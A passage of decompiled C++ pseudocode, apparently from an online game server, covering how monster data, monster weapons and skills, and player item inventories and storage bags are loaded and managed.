v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord != v2 || v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord != v2 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Mob number mismatch", 0); v4 = 0; if ( v1->mdb_mobspacies > 0 ) { while ( 1 ) { v5 = v4 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v4) : &v1->mdb_BinData.mobinf.bdb_defaultblock; id = *(_WORD *)v5; v6 = v4 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v4) : &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v7 = *(_DWORD *)v6; v8 = v4 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v4) : &v1->mdb_BinData.mobspec.bdb_defaultblock; v9 = *(_WORD *)v8; if ( id != v7 ) break; if ( v7 != v9 ) break; ++v4; if ( v4 >= v1->mdb_mobspacies ) goto LABEL_18; } sprintf(buffer, "%d/%d/%d"); AssertClass::ac_AssertFail(&shineassert, "Conflict ", buffer); } LABEL_18: ShineExit("MobDataBox::mdb_Load"); } v10 = v1->mdb_mobspacies; v11 = 0; v1->mdb_maxmobhandle = 0; if ( v10 > 0 ) { do { if ( v11 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v11); else v12 = &v1->mdb_BinData.mobinf.bdb_defaultblock; if ( v1->mdb_maxmobhandle < *(_WORD *)v12 ) { if ( v11 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v11); else v13 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v1->mdb_maxmobhandle = *(_WORD *)v13; } ++v11; } while ( v11 < v1->mdb_mobspacies ); } v14 = operator new__(40 * (v1->mdb_maxmobhandle + 1)); v1->mdb_index = (MobDataBox::MobDataBoxIndex *)v14; if ( v14 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Memory leak for index in MobInfo.dat", v1->mdb_maxmobhandle + 1); ShineExit("MobDataBox::mdb_Load"); } v15 = 0; v16 = 0; do { v1->mdb_index[v16].data = 0; v1->mdb_index[v16].serv = 0; v1->mdb_index[v16].species = 0; v1->mdb_index[v16].MobIndexFlag._bf0 &= 0xFEu; v1->mdb_index[v16].MobIndexFlag._bf0 &= 0xFDu; v1->mdb_index[v16].p_mobkillannounce = 0; v1->mdb_index[v16].p_mobkilllog = 0; v1->mdb_index[v16].p_MobLifeTime = 0; v1->mdb_index[v16].registindex = -1; v1->mdb_index[v16].weapon = 0; v1->mdb_index[v16].weaponnumber = 0; ++v15; ++v16; } while ( v15 <= v1->mdb_maxmobhandle ); v17 = 0; if ( v1->mdb_mobspacies ) { do { if ( v17 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v18 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v17); else v18 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v19 = *(_WORD *)v18; ida = *(_WORD *)v18; if ( v17 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v20 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v17); else v20 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v21 = *(_DWORD *)v20; if ( v17 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v17); else v22 = &v1->mdb_BinData.mobspec.bdb_defaultblock; if ( v19 != v21 || v19 != *(_WORD *)v22 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : DataOrder mismatch", v19); ShineExit("MobDataBox::mdb_Load"); } v23 = v19; v24 = (int)&v1->mdb_index[v19]; if ( *(_DWORD *)v24 || *(_DWORD *)(v24 + 4) || *(_DWORD *)(v24 + 16) ) { AssertClass::ac_AssertFail(&shineassert, "Data duplicate in MobInfo.shn", v19); ShineExit("MobDataBox::mdb_Load"); } if ( v17 < v1->mdb_BinData.mobinf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v25 = CDataReader::GetRecord(&v1->mdb_BinData.mobinf.baseclass_0.baseclass_0, v17); else v25 = &v1->mdb_BinData.mobinf.bdb_defaultblock; v1->mdb_index[v23].data = (MobInfo *)v25; if ( v17 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v26 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v17); else v26 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; v1->mdb_index[v23].serv = (MobInfoServer *)v26; if ( v17 < v1->mdb_BinData.mobspec.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v27 = CDataReader::GetRecord(&v1->mdb_BinData.mobspec.baseclass_0.baseclass_0, v17); else v27 = &v1->mdb_BinData.mobspec.bdb_defaultblock; v1->mdb_index[v23].species = (MobSpecies *)v27; v28 = 0; if ( nMobKillAnnounce > 0 ) { while ( 1 ) { v29 = v28 < v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord(&v1->mdb_BinData.mobkillannounce.baseclass_0.baseclass_0, v28) : &v1->mdb_BinData.mobkillannounce.bdb_defaultblock; if ( *(_DWORD *)v29 == ida ) break; ++v28; if ( (signed int)v28 >= nMobKillAnnounce ) goto LABEL_70; } v1->mdb_index[v23].p_mobkillannounce = (MobKillAnnounce *)v29; } LABEL_70: v30 = 0; if ( (signed int)nMobKillLog > 0 ) { while ( 1 ) { v31 = v30 < v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mdb_BinData.mobkilllog.baseclass_0.baseclass_0, v30) : &v1->mdb_BinData.mobkilllog.bdb_defaultblock; if ( *(_DWORD *)v31 == ida ) break; ++v30; if ( (signed int)v30 >= (signed int)nMobKillLog ) goto LABEL_78; } v1->mdb_index[v23].p_mobkilllog = (MobKillLog *)v31; } LABEL_78: v32 = v1->mdb_index[v23].serv; BTree::bt_Insert(&v1->mdb_btree, v32->InxName, v32->ID); ++v17; } while ( v17 < v1->mdb_mobspacies ); } v33 = 0; if ( v1->mdb_mobspacies ) { do { if ( v33 < v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v34 = CDataReader::GetRecord(&v1->mdb_BinData.mobinfserv.baseclass_0.baseclass_0, v33); else v34 = &v1->mdb_BinData.mobinfserv.bdb_defaultblock; if ( *((_BYTE *)v34 + 112) != 45 ) v1->mdb_index[*(_DWORD *)v34].registindex = MobResistTable::operator__(&mobresisttable, (char *)v34 + 112); ++v33; } while ( v33 < v1->mdb_mobspacies ); } v35 = v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v36 = 0; if ( v35 ) { do { if ( v36 < v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v37 = CDataReader::GetRecord(&v1->mdb_BinData.moblifetime.baseclass_0.baseclass_0, v36); else v37 = &v1->mdb_BinData.moblifetime.bdb_defaultblock; v38 = MobDataBox::mdb_2MobID(v1, (const char *)v37); if ( v38 != -1 ) v1->mdb_index[v38].p_MobLifeTime = *((_WORD *)v37 + 16); ++v36; } while ( v36 < v35 ); } } //----- (00552E70) -------------------------------------------------------- void __thiscall MobDataBox::mdb_SkillStore(MobDataBox *this, BTree *skillbtree, BTree *abstrbtree) { MobDataBox *v3; // edi@1 unsigned int i; // ebx@1 void *v5; // esi@3 unsigned __int16 v6; // ax@6 int v7; // esi@6 unsigned int v8; // ebp@10 int v9; // esi@11 MobDataBox::MobDataBoxIndex *v10; // edx@12 void *v11; // eax@13 unsigned int v12; // eax@17 void *v13; // ebx@19 int v14; // esi@22 int v15; // esi@26 char v16; // al@29 unsigned int v17; // eax@31 signed int v18; // edx@31 int sub; // [sp+10h] [bp-4h]@17 v3 = this; for ( i = 0; ; ++i ) { v5 = i < v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0, i) : &v3->mdb_BinData.mobweapon.bdb_defaultblock; if ( v5 == &v3->mdb_BinData.mobweapon.bdb_defaultblock ) break; v6 = BTree::operator__(&v3->mdb_btree, (const char *)v5 + 4); v7 = *(_DWORD *)v5; if ( v6 != v7 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Error in Monster Weapon", v7); ShineExit("MobDataBox::mdb_SkillStore"); } ++v3->mdb_index[v6].weaponnumber; } v8 = 0; if ( v3->mdb_maxmobhandle != -1 ) { v9 = 0; do { v10 = v3->mdb_index; if ( v10[v9].weaponnumber ) { v11 = v10[v9].weapon; if ( v11 ) { operator delete(v11); v3->mdb_index[v9].weapon = 0; } v3->mdb_index[v9].weapon = (MobDataBox::MobDataBoxIndex::_MobWeaponIndex *)operator new__(12 * v3->mdb_index[v9].weaponnumber); } v3->mdb_index[v9].weaponnumber = 0; ++v8; ++v9; } while ( v8 < v3->mdb_maxmobhandle + 1 ); } v12 = 0; for ( sub = 0; ; ++sub ) { v13 = v12 < v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->mdb_BinData.mobweapon.baseclass_0.baseclass_0, v12) : &v3->mdb_BinData.mobweapon.bdb_defaultblock; if ( v13 == &v3->mdb_BinData.mobweapon.bdb_defaultblock ) break; v14 = (unsigned __int16)BTree::operator__(&v3->mdb_btree, (const char *)v13 + 4); if ( v14 != *(_DWORD *)v13 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_Load : Error in Monster Weapon", *(_DWORD *)v13); ShineExit("MobDataBox::mdb_SkillStore"); } if ( *((_BYTE *)v13 + 37) == 45 ) { v15 = v14; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill = -1; } else { v15 = v14; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill = BTree::operator__( skillbtree, (const char *)v13 + 37); if ( v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].skill == -1 ) AssertClass::ac_AssertFail( &shineassert, "MobDataBox::mdb_SkillStore : Invalid MobSkill Name", (const char *)v13 + 37); } v16 = *((_BYTE *)v13 + 115); if ( v16 != 45 && v16 ) { v17 = BTree::operator__(abstrbtree, (const char *)v13 + 115); v18 = 391; if ( v17 != -1 ) v18 = v17; v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate = v18; if ( v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate == 391 ) AssertClass::ac_AssertFail( &shineassert, "MobDataBox::mdb_SkillStore : Invalid AbState Name", (const char *)v13 + 115); } else { v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber].abstate = 391; *((_WORD *)v13 + 75) = 0; } v3->mdb_index[v15].weapon[v3->mdb_index[v15].weaponnumber++].weapon = (MobWeapon *)v13; v12 = sub + 1; } } //----- (00553130) -------------------------------------------------------- bool __thiscall MobDataBox::mdb_CanIKill(MobDataBox *this, unsigned __int16 mobID, MobKillerIdentity identity) { bool result; // al@2 MobKillType v4; // esi@3 unsigned int v5; // edx@6 CDataReader *v6; // ecx@6 void *v7; // eax@7 if ( mobID == -1 ) { result = 1; } else { v4 = this->mdb_index[mobID].serv->MobKillInx; if ( (signed int)v4 >= 0 && (signed int)v4 < 2 ) { v5 = this->mdb_BinData.mobKillablePermission.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = (CDataReader *)&this->mdb_BinData.mobKillablePermission; if ( v4 < v5 ) v7 = CDataReader::GetRecord(v6, v4); else v7 = &v6[1]; if ( v7 ) { switch ( identity ) { case 0: result = *((_BYTE *)v7 + 4) != 0; break; case 1: result = *((_BYTE *)v7 + 5) != 0; break; case 2: result = *((_BYTE *)v7 + 6) != 0; break; case 3: goto $L69317; default: AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : Unknown identity", identity); $L69317: result = 1; break; } } else { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : mobKillAble is NULL", v4); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::mdb_CanIKill : Invalid MobKillType", mobID); result = 0; } } return result; } //----- (00553220) -------------------------------------------------------- void __thiscall MobDataBox::MobDataBox(MobDataBox *this, char *pdatafn) { MobDataBox *v2; // esi@1 v2 = this; MobDataBox::__unnamed::__unnamed(&this->mdb_BinData.mobinf.baseclass_0); BTree::BTree(&v2->mdb_btree); v2->mdb_index = 0; v2->mdb_maxmobhandle = 0; if ( pdatafn != (char *)-1 ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::ReadData called", 0); ShineExit("MobDataBox::ReadData"); } } //----- (005532B0) -------------------------------------------------------- ItemBag *__thiscall ShineObjectClass::ShineObject::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(CharacterInventoryManager *this, CharacterInventory *ci) { return (ItemBag *)ci; } //----- (005532C0) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_inven(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_Inventory.baseclass_0; } //----- (005532D0) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_quest(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_QuestBox.baseclass_0; } //----- (005532E0) -------------------------------------------------------- ItemBag *__thiscall CharacterInventoryManager::cim_minihouse(CharacterInventoryManager *this, CharacterInventory *ci) { return &ci->ci_MiniHouse.baseclass_0; } //----- (005532F0) -------------------------------------------------------- int __thiscall ItemBag::ib_ItemCount_Output(ItemBag *this) { ItemBag *v1; // esi@1 int v2; // ebx@1 int v3; // edi@1 int v4; // eax@2 v1 = this; v2 = 0; v3 = 0; if ( ((int (*)(void))this->vfptr->ib_BagSizeOutput)() > 0 ) { do { v4 = (int)v1->vfptr->ib_GetInventoryCell(v1, v3); if ( v4 && *(_WORD *)(v4 + 8) != -1 ) ++v2; ++v3; } while ( v3 < v1->vfptr->ib_BagSizeOutput(v1) ); } return v2; } //----- (00553330) -------------------------------------------------------- char __thiscall ItemBoxIterator::ibi_Next(ItemBoxIterator *this) { ItemBoxIterator *v1; // esi@1 int v2; // eax@2 ItemBoxIteratorVtbl *v3; // edx@3 v1 = this; while ( 1 ) { v2 = v1->ibi_finger; if ( v2 >= v1->ibi_Limit - 1 ) break; v3 = v1->vfptr; v1->ibi_finger = v2 + 1; if ( (unsigned __int8)v3->ibi_isvalid(v1) ) return 1; } return 0; } //----- (00553360) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemBoxIterator::ibi_GetCell(ItemBoxIterator *this) { ItemInventoryCell *result; // eax@2 if ( this->ibi_itembag ) result = (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->ibi_itembag)(this->ibi_finger); else result = 0; return result; } //----- (00553380) -------------------------------------------------------- void __thiscall ItemBag::_ItemBag(ItemBag *this) { this->vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); //----- (00553390) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_StoreItem(ItemInventoryCell *this, ItemTotalInformation *itemtemp) { memcpy(this, itemtemp, 0x6Fu); this->iic_AttrProc = ItemAttributeClassContainer::operator__(&itmattcontainer, this->iic_Item.iti_itemstruct.itemid); } //----- (005533C0) -------------------------------------------------------- void __thiscall ItemInventory::_ItemInventory(ItemInventory *this) { ItemInventory *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemInventory::_vftable_; _eh_vector_destructor_iterator_( this->ii_Array, 0x74u, 144, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D97FC: using guessed type int (__stdcall *ItemInventory___vftable_[2])(int slot); //----- (00553420) -------------------------------------------------------- int __thiscall ItemInventory::ib_BagSizeInput(ItemInventory *this, ChargedEffectContainer *cec) { char v2; // al@1 int result; // eax@2 v2 = cec->cec_MoreInven; if ( (unsigned __int8)v2 <= 4u ) result = 24 * ((unsigned __int8)v2 + 2); else result = 144; return result; } //----- (00553450) -------------------------------------------------------- int __thiscall ItemAccountStorage::ib_BagSizeOutput(ItemAccountStorage *this) { return 144; } //----- (00553460) -------------------------------------------------------- char __thiscall ItemInventory::ib_GetInvenType(ItemInventory *this) { return 9; } //----- (00553470) -------------------------------------------------------- void __thiscall ItemEquipment::_ItemEquipment(ItemEquipment *this) { ItemEquipment *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemEquipment::_vftable_; _eh_vector_destructor_iterator_( this->ie_Array, 0x74u, 29, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D980C: using guessed type int (__stdcall *ItemEquipment___vftable_[2])(int slot); //----- (005534D0) -------------------------------------------------------- int __thiscall ItemEquipment::ib_BagSizeInput(ItemEquipment *this, ChargedEffectContainer *cec) { return 29; } //----- (005534E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineBandit::so_ObjectType(ItemEquipment *this) { return 8; } //----- (005534F0) -------------------------------------------------------- void __thiscall ItemQuestItemBox::_ItemQuestItemBox(ItemQuestItemBox *this) { ItemQuestItemBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemQuestItemBox::_vftable_; _eh_vector_destructor_iterator_( this->iqb_Array, 0x74u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D981C: using guessed type int (__stdcall *ItemQuestItemBox___vftable_[2])(int slot); //----- (00553550) -------------------------------------------------------- int __thiscall ItemQuestItemBox::ib_BagSizeInput(ItemQuestItemBox *this, ChargedEffectContainer *cec) { return 5; } //----- (00553560) -------------------------------------------------------- void __thiscall ItemAccountStorage::_ItemAccountStorage(ItemAccountStorage *this) { ItemAccountStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemAccountStorage::_vftable_; _eh_vector_destructor_iterator_( this->ias_Array, 0x74u, 144, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D982C: using guessed type int (__stdcall *ItemAccountStorage___vftable_[2])(int slot); //----- (005535C0) -------------------------------------------------------- int __thiscall ItemAccountStorage::ib_BagSizeInput(ItemAccountStorage *this, ChargedEffectContainer *cec) { char v2; // al@1 int result; // eax@2 v2 = cec->cec_MoreStorage; if ( (unsigned __int8)v2 <= 2u ) result = 36 * ((unsigned __int8)v2 + 2); else result = 144; return result; } //----- (005535F0) -------------------------------------------------------- char __thiscall ItemAccountStorage::ib_GetInvenType(ItemAccountStorage *this) { return 6; } //----- (00553600) -------------------------------------------------------- void __thiscall ItemMiniHouseBox::_ItemMiniHouseBox(ItemMiniHouseBox *this) { ItemMiniHouseBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemMiniHouseBox::_vftable_; _eh_vector_destructor_iterator_( this->imhb_Array, 0x74u, 35, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D983C: using guessed type int (__stdcall *ItemMiniHouseBox___vftable_[2])(int slot); //----- (00553660) -------------------------------------------------------- int __thiscall ItemMiniHouseBox::ib_BagSizeInput(ItemMiniHouseBox *this, ChargedEffectContainer *cec) { return 35; } //----- (00553670) -------------------------------------------------------- int __thiscall ItemMiniHouseBox::ib_BagSizeOutput(ItemMiniHouseBox *this) { return 35; } //----- (00553680) -------------------------------------------------------- char __thiscall ItemMiniHouseBox::ib_GetInvenType(ItemMiniHouseBox *this) { return 12; } //----- (00553690) -------------------------------------------------------- void __thiscall ItemGuildStorage::_ItemGuildStorage(ItemGuildStorage *this) { ItemGuildStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildStorage::_vftable_; _eh_vector_destructor_iterator_( this->igs_Array, 0x74u, 36, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D984C: using guessed type int (__stdcall *ItemGuildStorage___vftable_[2])(int slot); //----- (005536F0) -------------------------------------------------------- int __thiscall ItemGuildStorage::ib_BagSizeOutput(ItemGuildStorage *this) { return 36; } //----- (00553700) -------------------------------------------------------- char __thiscall ItemGuildStorage::ib_GetInvenType(ItemGuildStorage *this) { return 4; } //----- (00553710) -------------------------------------------------------- void __thiscall ItemGuildAcademyRewardStorage::_ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this) { ItemGuildAcademyRewardStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildAcademyRewardStorage::_vftable_; _eh_vector_destructor_iterator_( this->igars_Array, 0x74u, 72, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D985C: using guessed type int (__stdcall *ItemGuildAcademyRewardStorage___vftable_[2])(int slot); //----- (00553770) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemInventory::ib_GetInventoryCell(ItemRewardStorage *this, int slot) { ItemRewardStorage *v2; // esi@1 ItemInventoryCell *result; // eax@2 v2 = this; if ( slot >= ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)() ) result = (ItemInventoryCell *)&ItemBag::ib_staticcell; else result = &v2->irs_Array[slot]; return result; } //----- (005537A0) -------------------------------------------------------- int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeInput(ItemGuildAcademyRewardStorage *this, ChargedEffectContainer *cec) { return 72; } //----- (005537B0) -------------------------------------------------------- int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeOutput(ItemGuildAcademyRewardStorage *this) { return 72; } //----- (005537C0) -------------------------------------------------------- void __thiscall ItemFurnicherBox::_ItemFurnicherBox(ItemFurnicherBox *this) { ItemFurnicherBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemFurnicherBox::_vftable_; _eh_vector_destructor_iterator_( this->ifm_Array, 0x74u, 98, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D986C: using guessed type int (__stdcall *ItemFurnicherBox___vftable_[2])(int slot); //----- (00553820) -------------------------------------------------------- int __thiscall ItemFurnicherBox::ib_BagSizeInput(ItemFurnicherBox *this, ChargedEffectContainer *cec) { return 98; } //----- (00553830) -------------------------------------------------------- int __thiscall ItemFurnicherBox::ib_BagSizeOutput(ItemFurnicherBox *this) { return 98; } //----- (00553840) -------------------------------------------------------- char __thiscall ItemFurnicherBox::ib_GetInvenType(ItemFurnicherBox *this) { return 3; } //----- (00553850) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Clear(ItemInform_ActionItem *this) { this->iiai_ItemID = -1; } //----- (00553860) -------------------------------------------------------- ShineDateTime *__thiscall ItemInform_ActionItem::sii_GetDeteleDateTime(ItemInform_ActionItem *this) { return &this->iiai_Attribute.ActionItem.deletetime; } //----- (00553870) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Import(ItemInform_ActionItem *this, ItemTotalInformation *iti) { *(_QWORD *)&this->iiai_RegistNumber.binary.gap0[0] = *(_QWORD *)&iti->iti_registnum.binary.gap0[0]; this->iiai_ItemID = iti->iti_itemstruct.itemid; this->iiai_Attribute.ActionItem.deletetime._bf0 = *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot; } //----- (00553890) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Export(ItemInform_ActionItem *this, ItemTotalInformation *iti) { *(_QWORD *)&iti->iti_registnum.binary.gap0[0] = *(_QWORD *)&this->iiai_RegistNumber.binary.gap0[0]; iti->iti_itemstruct.itemid = this->iiai_ItemID; *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot = this->iiai_Attribute.ActionItem.deletetime._bf0; } //----- (005538B0) -------------------------------------------------------- void __thiscall ItemRewardStorage::_ItemRewardStorage(ItemRewardStorage *this) { ItemRewardStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemRewardStorage::_vftable_; _eh_vector_destructor_iterator_( this->irs_Array, 0x74u, 24, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5D97EC: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5D987C: using guessed type int (__stdcall *ItemRewardStorage___vftable_[2])(int slot); //----- (00553910) -------------------------------------------------------- void __thiscall ItemBag::ib_InitializeAsNumber(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { PROTO_ITEMPACKET_TOTAL *v4; // ebx@1 ItemBag *v5; // esi@1 int v6; // edi@1 int v7; // ebp@6 int itm; // [sp+Ch] [bp-7Ch]@1 ItemBag *v9; // [sp+10h] [bp-78h]@1 ItemTotalInformation itemtemp; // [sp+14h] [bp-74h]@6 v4 = itmarr; v5 = this; v6 = 0; v9 = this; itm = 0; if ( *itemcounter ) { do { if ( (unsigned int)v4->location.Inven >> 10 == inventype ) { if ( v6 < v5->vfptr->ib_BagSizeOutput(v5) ) { ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v4->info.iti_registnum.binary.gap0); v7 = (int)v5->vfptr->ib_GetInventoryCell(v5, v6); memcpy((void *)v7, &itemtemp, 0x6Cu); *(_WORD *)(v7 + 108) = *(_WORD *)((char *)&itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v7 + 110) = BYTE3(itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y); v6 = itm; v5 = v9; *(_DWORD *)(v7 + 112) = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v7 + 8)); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } else { AssertClass::ac_AssertFail(&shineassert, "ItemRewardStorage::irs_Initializetotal : Invalid slot", v6); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } } else { v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } ++v6; itm = v6; } while ( v6 < (unsigned __int8)*itemcounter ); } } //----- (00553A20) -------------------------------------------------------- void __thiscall ItemBoxIterItemRegNo::ItemBoxIterItemRegNo(ItemBoxIterItemRegNo *this, ItemBag *ib, SHINE_ITEM_REGISTNUMBER Regno, ChargedEffectContainer *cec) { ItemBoxIterItemRegNo *v4; // esi@1 int v5; // eax@2 v4 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) v5 = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); else v5 = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v4->baseclass_0.ibi_Limit = v5; v4->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterItemRegNo::_vftable_; *(_DWORD *)&v4->ibii_RegNo.binary.gap0[0] = *(_DWORD *)&Regno; v4->ibii_RegNo.binary._bf4 = Regno.binary._bf4; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5D98C4: using guessed type int (*ItemBoxIterItemRegNo___vftable_[4])(); //----- (00553A70) -------------------------------------------------------- char __thiscall 